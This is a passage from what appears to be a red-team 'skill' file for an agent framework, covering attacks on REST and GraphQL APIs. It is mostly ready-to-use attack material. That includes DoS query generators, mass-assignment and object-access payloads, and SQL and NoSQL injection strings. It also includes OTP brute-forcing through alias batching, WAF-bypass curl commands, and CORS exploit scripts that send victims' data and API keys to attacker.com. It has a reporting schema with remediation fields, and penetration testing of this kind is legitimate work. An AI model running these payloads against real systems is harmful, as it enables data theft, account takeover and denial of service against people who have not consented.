+ """Build a query requesting same field many times via aliases"""
1093
+ aliases = "\n".join([f"f{i}: users {{ id email name createdAt updatedAt }}" for i in range(field_count)])
1094
+ return f"{{ {aliases} }}"
1095
+
1096
+ def build_fragment_bomb():
1097
+ """Fragment-based query amplification"""
1098
+ fragments = ""
1099
+ query_parts = ""
1100
+ for i in range(50):
1101
+ fragments += f"fragment F{i} on Query {{ users {{ id email role }} }}\n"
1102
+ query_parts += f"...F{i}\n"
1103
+ return f"query {{\n{query_parts}}}\n{fragments}"
1104
+
1105
+ print("[*] Testing GraphQL complexity DoS...")
1106
+
1107
+ # Test 1: Alias flooding
1108
+ print("[*] Test 1: Alias flooding (100 aliases)...")
1109
+ start = time.time()
1110
+ r = requests.post(GRAPHQL_URL, headers=HEADERS,
1111
+ json={"query": build_complexity_query(100)}, timeout=60)
1112
+ elapsed = time.time() - start
1113
+ print(f" Status: {r.status_code}, Time: {elapsed:.2f}s, Size: {len(r.text)} bytes")
1114
+
1115
+ # Test 2: Alias flooding (500 aliases)
1116
+ print("[*] Test 2: Alias flooding (500 aliases)...")
1117
+ start = time.time()
1118
+ r = requests.post(GRAPHQL_URL, headers=HEADERS,
1119
+ json={"query": build_complexity_query(500)}, timeout=120)
1120
+ elapsed = time.time() - start
1121
+ print(f" Status: {r.status_code}, Time: {elapsed:.2f}s, Size: {len(r.text)} bytes")
1122
+
1123
+ # Test 3: Fragment bomb
1124
+ print("[*] Test 3: Fragment bomb...")
1125
+ start = time.time()
1126
+ r = requests.post(GRAPHQL_URL, headers=HEADERS,
1127
+ json={"query": build_fragment_bomb()}, timeout=60)
1128
+ elapsed = time.time() - start
1129
+ print(f" Status: {r.status_code}, Time: {elapsed:.2f}s, Size: {len(r.text)} bytes")
1130
+ ```
1131
+
1132
+ ---
1133
+
1134
+ ### Phase 11: Common Payloads and Examples
1135
+
1136
+ #### REST API Payloads
1137
+
1138
+ ```json
1139
+ // Mass assignment — privilege escalation
1140
+ {
1141
+ "username": "attacker",
1142
+ "role": "admin",
1143
+ "isAdmin": true,
1144
+ "permissions": ["read", "write", "admin", "delete"],
1145
+ "plan": "enterprise",
1146
+ "credits": 999999,
1147
+ "isVerified": true,
1148
+ "emailVerified": true,
1149
+ "twoFactorEnabled": false
1150
+ }
1151
+
1152
+ // BOLA — horizontal privilege escalation
1153
+ GET /api/v1/users/[VICTIM_ID]
1154
+ GET /api/v1/orders/[VICTIM_ORDER_ID]
1155
+ GET /api/v1/documents/[VICTIM_DOC_UUID]
1156
+
1157
+ // CORS exploit PoC
1158
+ <script>
1159
+ fetch('https://target.com/api/v1/users/me', {
1160
+ credentials: 'include',
1161
+ headers: {'Authorization': 'Bearer stored-token'}
1162
+ })
1163
+ .then(r => r.json())
1164
+ .then(d => fetch('https://attacker.com/log?data=' + JSON.stringify(d)));
1165
+ </script>
1166
+ ```
1167
+
1168
+ #### GraphQL Payloads
1169
+
1170
+ ```graphql
1171
+ # Basic introspection
1172
+ { __schema { queryType { name } } }
1173
+
1174
+ # Type enumeration
1175
+ { __type(name: "User") { fields { name type { name kind } } } }
1176
+
1177
+ # Alias batching (rate limit bypass)
1178
+ mutation {
1179
+ a1: login(email: "victim@example.com", password: "password1") { token }
1180
+ a2: login(email: "victim@example.com", password: "password2") { token }
1181
+ a3: login(email: "victim@example.com", password: "password3") { token }
1182
+ }
1183
+
1184
+ # BOLA via GraphQL query
1185
+ { user(id: "VICTIM_UUID") { id email role passwordHash apiKeys { key } } }
1186
+
1187
+ # SQL injection via GraphQL argument
1188
+ { users(filter: "1=1 OR 1=1--") { id email } }
1189
+ { users(search: "' OR '1'='1") { id email } }
1190
+
1191
+ # NoSQL injection via GraphQL
1192
+ { users(filter: "{\"$gt\": \"\"}") { id email } }
1193
+ ```
1194
+
1195
+ ---
1196
+
1197
+ ### Phase 12: Real-World Engagement Examples
1198
+
1199
+ #### Example 1 — E-commerce Platform BOLA (2024)
1200
+
1201
+ **Scenario:** B2B SaaS with invoice management. Company A's invoices accessible by Company B.
1202
+
1203
+ **Finding path:**
1204
+ 1. Registered two accounts (Company A and Company B)
1205
+ 2. Created invoice as Company A — captured UUID: `3f7a1c2d-...`
1206
+ 3. As Company B, called `GET /api/v2/invoices/3f7a1c2d-...`
1207
+ 4. Full invoice returned including banking details
1208
+ 5. Mass enumeration of sequential creation IDs revealed ~50,000 invoices
1209
+
1210
+ **Impact:** Full financial data exposure across all customers.
1211
+
1212
+ ```bash
1213
+ # Reproduction
1214
+ curl -s https://target.com/api/v2/invoices/3f7a1c2d-8b4e-4f9a-a123-456789abcdef \
1215
+ -H "Authorization: Bearer COMPANY_B_JWT" | jq .
1216
+ ```
1217
+
1218
+ #### Example 2 — GraphQL OTP Bypass Leading to Account Takeover (2024)
1219
+
1220
+ **Scenario:** Healthcare app used GraphQL with alias-based OTP verification. OTP was 6-digit numeric.
1221
+
1222
+ **Finding path:**
1223
+ 1. Triggered password reset for victim
1224
+ 2. Noted GraphQL mutation: `verifyResetOTP(token: String!, otp: String!)`
1225
+ 3. Rate limit was per HTTP request (max 5 OTPs per minute)
1226
+ 4. Alias batching sent 1000 OTPs per request — 1M OTPs in ~17 minutes
1227
+ 5. Account taken over
1228
+
1229
+ #### Example 3 — Mass Assignment on SaaS Platform (2023)
1230
+
1231
+ **Scenario:** Freemium SaaS — subscription tiers enforced via `plan` field.
1232
+
1233
+ **Finding path:**
1234
+ 1. Registered free account
1235
+ 2. Used Burp Repeater on `PATCH /api/v1/profile`
1236
+ 3. Added `"plan": "enterprise"` to normal profile update
1237
+ 4. Received 200 response — no error
1238
+ 5. Refreshed dashboard: full enterprise features unlocked
1239
+
1240
+ ```bash
1241
+ curl -s -X PATCH https://target.com/api/v1/profile \
1242
+ -H "Authorization: Bearer FREE_TIER_JWT" \
1243
+ -H "Content-Type: application/json" \
1244
+ -d '{"displayName": "Test", "plan": "enterprise", "seats": 999}'
1245
+ ```
1246
+
1247
+ #### Example 4 — CORS + API Key Exposure
1248
+
1249
+ **Scenario:** API reflected `Origin` header without validation and `withCredentials` was set.
1250
+
1251
+ **Exploit:**
1252
+ ```html
1253
+ <!-- Hosted on attacker.com — victim visits this page while authenticated -->
1254
+ <script>
1255
+ var xhr = new XMLHttpRequest();
1256
+ xhr.open('GET', 'https://target.com/api/v1/users/me/api-keys', true);
1257
+ xhr.withCredentials = true;
1258
+ xhr.onload = function() {
1259
+ fetch('https://attacker.com/steal?d=' + encodeURIComponent(xhr.responseText));
1260
+ };
1261
+ xhr.send();
1262
+ </script>
1263
+ ```
1264
+
1265
+ ---
1266
+
1267
+ ### Phase 13: WAF Bypass Techniques
1268
+
1269
+ #### GraphQL WAF bypass
1270
+
1271
+ ```bash
1272
+ # Content-Type manipulation
1273
+ curl -X POST https://target.com/graphql \
1274
+ -H "Content-Type: application/graphql" \
1275
+ -d '{ __schema { queryType { name } } }'
1276
+
1277
+ # JSON with null bytes
1278
+ curl -X POST https://target.com/graphql \
1279
+ -H "Content-Type: application/json" \
1280
+ -d "{\"query\":\"{ __schema { queryType { name } } }\"}"
1281
+
1282
+ # Unicode normalization bypass
1283
+ curl -X POST https://target.com/graphql \
1284
+ -H "Content-Type: application/json" \
1285
+ -d '{"query": "{ __schema { queryType { name } } }"}'
1286
+
1287
+ # Case variation (some WAFs are case-sensitive)
1288
+ curl -X POST https://target.com/graphql \
1289
+ -H "Content-Type: application/json" \
1290
+ -d '{"query": "{ __SCHEMA { queryType { name } } }"}'
1291
+
1292
+ # Whitespace manipulation
1293
+ curl -X POST https://target.com/graphql \
1294
+ -H "Content-Type: application/json" \
1295
+ -d '{"query": "{\n\t__schema\n\t{\n\tqueryType\n\t{\n\tname\n\t}\n\t}\n}"}'
1296
+
1297
+ # Comment injection
1298
+ curl -X POST https://target.com/graphql \
1299
+ -H "Content-Type: application/json" \
1300
+ -d '{"query": "{ __sch#comment\nema { queryType { name } } }"}'
1301
+ ```
1302
+
1303
+ #### REST API WAF bypass
1304
+
1305
+ ```bash
1306
+ # Path traversal bypass for BOLA
1307
+ curl https://target.com/api/v1/users/1%2f..%2f2 # /1/../2 -> /2
1308
+ curl https://target.com/api/v1/users/1/../../v1/users/2
1309
+
1310
+ # Parameter pollution
1311
+ curl "https://target.com/api/v1/users?id=1&id=2"
1312
+ curl -X POST https://target.com/api/v1/users \
1313
+ -d "id=1&id=2"
1314
+
1315
+ # JSON encoding bypass
1316
+ curl -X POST https://target.com/api/v1/query \
1317
+ -H "Content-Type: application/json" \
1318
+ -d '{"filter": "' OR '1'='1"}' # Unicode-encoded SQL injection
1319
+
1320
+ # Header injection to bypass IP-based rate limits
1321
+ curl -X POST https://target.com/api/v1/auth/login \
1322
+ -H "X-Forwarded-For: 127.0.0.1" \
1323
+ -H "X-Real-IP: 127.0.0.1" \
1324
+ -H "X-Originating-IP: 127.0.0.1" \
1325
+ -H "X-Remote-IP: 127.0.0.1" \
1326
+ -d '{"email":"victim@test.com","password":"guess"}'
1327
+
1328
+ # Chunked transfer encoding bypass
1329
+ curl -X POST https://target.com/api/v1/admin/users \
1330
+ -H "Transfer-Encoding: chunked" \
1331
+ -H "Authorization: Bearer LOW_PRIV_TOKEN" \
1332
+ --data-binary $'5\r\n{"rol\r\n6\r\ne":"ad\r\n5\r\nmin"}\r\n0\r\n\r\n'
1333
+ ```
1334
+
1335
+ ---
1336
+
1337
+ ## 8. Integration with RTExit Autodoc Engine
1338
+
1339
+ The RTExit autodoc engine collects structured JSON findings. Use the following output format for all findings discovered with this skill.
1340
+
1341
+ ### Finding Schema
1342
+
1343
+ ```json
1344
+ {
1345
+ "skill": "rt-exploit-api",
1346
+ "timestamp": "ISO8601",
1347
+ "target": "https://target.com",
1348
+ "finding_id": "API-001",
1349
+ "category": "BOLA|MassAssignment|RateLimit|CORS|GraphQLIntrospection|GraphQLBatching|SchemaExposure|DoS",
1350
+ "severity": "CRITICAL|HIGH|MEDIUM|LOW|INFO",
1351
+ "owasp_api": "API1:2023|API4:2023|API6:2023|API7:2023|API8:2023",
1352
+ "title": "Human-readable finding title",
1353
+ "description": "Detailed description of the vulnerability",
1354
+ "evidence": {
1355
+ "request": "Full HTTP request string",
1356
+ "response": "Relevant response excerpt",
1357
+ "proof": "Screenshot path or curl command"
1358
+ },
1359
+ "reproduction": ["Step 1", "Step 2", "Step 3"],
1360
+ "impact": "Business impact description",
1361
+ "remediation": "Fix recommendation"
1362
+ }
1363
+ ```
1364
+
1365
+ ### Autodoc Integration Commands
1366
+
1367
+ ```bash
1368
+ # Save finding to RTExit findings directory
1369
+ FINDINGS_DIR="c:/Ahmed/Projects/RTExit/.agents/findings"
1370
+ mkdir -p "$FINDINGS_DIR"
1371
+
1372
+ # Output finding as JSON
1373
+ cat > "$FINDINGS_DIR/API-001-BOLA.json" << 'EOF'
1374
+ {
1375
+ "skill": "rt-exploit-api",
1376
+ "timestamp": "2026-05-31T00:00:00Z",
1377
+ "target": "https://target.com",
1378
+ "finding_id": "API-001",
1379
+ "category": "BOLA",
1380
+ "severity": "CRITICAL",
1381
+ "owasp_api": "API1:2023",
1382
+ "title": "Broken Object Level Authorization — User Invoice Exposure",
1383
+ "description": "Any authenticated user can access any invoice by supplying an arbitrary UUID in the invoice ID parameter. No ownership check is enforced server-side.",
1384
+ "evidence": {
1385
+ "request": "GET /api/v2/invoices/3f7a1c2d-8b4e-4f9a-a123-456789abcdef HTTP/1.1\nAuthorization: Bearer COMPANY_B_JWT",
1386
+ "response": "{\"id\":\"3f7a1c2d...\",\"amount\":50000,\"bank_account\":\"...\"}",
1387
+ "proof": "screenshots/API-001-BOLA.png"
1388
+ },
1389
+ "reproduction": [
1390
+ "Authenticate as Company B",
1391
+ "GET /api/v2/invoices/{company_a_invoice_uuid}",
1392
+ "Observe full invoice data returned"
1393
+ ],
1394
+ "impact": "Attacker can exfiltrate all customer invoices, banking details, and PII",
1395
+ "remediation": "Validate invoice ownership against authenticated user's tenant ID before returning data"
1396
+ }
1397
+ EOF
1398
+
1399
+ echo "[+] Finding saved to $FINDINGS_DIR/API-001-BOLA.json"
1400
+ ```
1401
+
1402
+ ### Python Autodoc Helper
1403
+
1404
+ ```python
1405
+ #!/usr/bin/env python3
1406
+ # autodoc_helper.py — RTExit autodoc integration for rt-exploit-api findings
1407
+
1408
+ import json
1409
+ import os
1410
+ from datetime import datetime, timezone
1411
+
1412
+ FINDINGS_DIR = "c:/Ahmed/Projects/RTExit/.agents/findings"
1413
+ os.makedirs(FINDINGS_DIR, exist_ok=True)
1414
+
1415
+ def save_finding(finding_id, category, severity, title, description,
1416
+ request, response, reproduction, impact, remediation,
1417
+ target="https://target.com", owasp_api="API1:2023"):
1418
+ finding = {
1419
+ "skill": "rt-exploit-api",
1420
+ "timestamp": datetime.now(timezone.utc).isoformat(),
1421
+ "target": target,
1422
+ "finding_id": finding_id,
1423
+ "category": category,
1424
+ "severity": severity,
1425
+ "owasp_api": owasp_api,
1426
+ "title": title,
1427
+ "description": description,
1428
+ "evidence": {
1429
+ "request": request,
1430
+ "response": response,
1431
+ },
1432
+ "reproduction": reproduction,
1433
+ "impact": impact,
1434
+ "remediation": remediation
1435
+ }
1436
+ path = os.path.join(FINDINGS_DIR, f"{finding_id}-{category}.json")
1437
+ with open(path, "w") as f:
1438
+ json.dump(finding, f, indent=2)
1439
+ print(f"[AUTODOC] Finding saved: {path}")
1440
+ return path
1441
+
1442
+ # Usage example:
1443
+ save_finding(
1444
+ finding_id="API-001",
1445
+ category="BOLA",
1446
+ severity="CRITICAL",
1447
+ title="BOLA on /api/v1/users/{id} endpoint",
1448
+ description="User B can access User A's full profile by changing the ID parameter.",
1449
+ request="GET /api/v1/users/42 HTTP/1.1\nAuthorization: Bearer USER_B_TOKEN",
1450
+ response='{"id":42,"email":"userA@target.com","role":"admin"}',
1451
+ reproduction=[
1452
+ "Login as User B and obtain JWT",
1453
+ "Send GET /api/v1/users/42 with User B's JWT",
1454
+ "Observe User A's data returned"
1455
+ ],
1456
+ impact="Full account takeover, PII exposure, privilege escalation",
1457
+ remediation="Validate that the requested user ID matches the authenticated user ID server-side"
1458
+ )
1459
+ ```
1460
+
1461
+ ---
1462
+
1463
+ ## 9. Output and Documentation Instructions
1464
+
1465
+ ### Finding Classification
1466
+
1467
+ | Severity | Criteria |
1468
+ |---|---|
1469
+ | CRITICAL | Account takeover, auth bypass, admin access |
1470
+ | HIGH | Cross-user data access, mass assignment to admin |
1471
+ | MEDIUM | Information disclosure, rate limit bypass |
1472
+ | LOW | CORS without credentials, verbose errors |
1473
+ | INFO | Introspection enabled, schema exposure |
1474
+
1475
+ ### Required Evidence Per Finding
1476
+
1477
+ 1. Raw HTTP request (curl command or Burp request)
1478
+ 2. Raw HTTP response (truncated to relevant portion)
1479
+ 3. Screenshot (if GUI/Burp involved)
1480
+ 4. Reproduction steps (copy-paste ready)
1481
+ 5. Business impact statement (1–2 sentences, non-technical)
1482
+
1483
+ ### Report Naming Convention
1484
+
1485
+ ```
1486
+ API-{NUMBER}-{CATEGORY}-{SEVERITY}.json
1487
+ API-001-BOLA-CRITICAL.json
1488
+ API-002-MassAssignment-HIGH.json
1489
+ API-003-GraphQLIntrospection-MEDIUM.json
1490
+ API-004-BatchingRateLimitBypass-HIGH.json
1491
+ ```
1492
+
1493
+ ### Burp Suite Session Export
1494
+
1495
+ ```
1496
+ 1. Proxy > HTTP history > Filter by target
1497
+ 2. Right-click relevant requests > Save items
1498
+ 3. Export as XML: findings/burp-session-{target}-{date}.xml
1499
+ 4. Annotate each request with finding ID in Burp comments
1500
+ ```
1501
+
1502
+ ---
1503
+
1504
+ ## 10. Resources
1505
+
1506
+ ### Tools
1507
+
1508
+ | Tool | URL | Purpose |
1509
+ |---|---|---|
1510
+ | graphw00f | https://github.com/dolevf/graphw00f | GraphQL fingerprinting |
1511
+ | clairvoyance | https://github.com/nikitastupin/clairvoyance | Schema recovery via field suggestions |
1512
+ | kiterunner | https://github.com/assetnote/kiterunner | API route discovery |
1513
+ | graphql-cop | https://github.com/dolevf/graphql-cop | GraphQL security audit |
1514
+ | graphql-voyager | https://github.com/graphql-kit/graphql-voyager | Schema visualization |
1515
+ | Altair GraphQL | https://altairgraphql.dev | GraphQL client with batching support |
1516
+ | nuclei | https://github.com/projectdiscovery/nuclei | Template-based API scanning |
1517
+ | ffuf | https://github.com/ffuf/ffuf | Web fuzzing framework |
1518
+
1519
+ ### Wordlists
1520
+
1521
+ | Wordlist | URL | Use Case |
1522
+ |---|---|---|
1523
+ | SecLists API | https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api | REST endpoint discovery |
1524
+ | GraphQL wordlist | https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/graphql.txt | GraphQL field names |
1525
+ | Assetnote wordlists | https://wordlists.assetnote.io | API-specific wordlists per tech stack |
1526
+
1527
+ ### References and Reading
1528
+
1529
+ | Resource | URL |
1530
+ |---|---|
1531
+ | OWASP API Security Top 10 (2023) | https://owasp.org/API-Security/editions/2023/en/0x00-header/ |
1532
+ | PortSwigger API Testing Guide | https://portswigger.net/web-security/api-testing |
1533
+ | HackTricks GraphQL | https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql |
1534
+ | GraphQL Security Research (Escape) | https://escape.tech/blog/ |
1535
+ | Nikita Stupin — Schema Recovery | https://nikitastupin.medium.com/graphql-introspection-alternative-82a9a796b30f |
1536
+ | PayloadsAllTheThings — GraphQL | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection |
1537
+ | PayloadsAllTheThings — IDOR | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Direct%20Object%20References/README.md |
1538
+ | Detectify — Mass Assignment | https://blog.detectify.com/ethical-hacking/mass-assignment-and-related-chained-vulnerabilities/ |
1539
+ | PortSwigger — CORS | https://portswigger.net/web-security/cors |
1540
+ | GraphQL DoS Research | https://github.com/nicholasess/graphql-dos |
1541
+
1542
+ ### CVEs and Bug Bounty Reports
1543
+
1544
+ - HackerOne Reports tagged `graphql`: https://hackerone.com/hacktivity?querystring=graphql
1545
+ - HackerOne Reports tagged `bola`: https://hackerone.com/hacktivity?querystring=bola
1546
+ - HackerOne Reports tagged `mass-assignment`: https://hackerone.com/hacktivity?querystring=mass+assignment
1547
+ - Bugcrowd University — API Testing: https://www.bugcrowd.com/resources/levelup/introduction-to-testing-apis/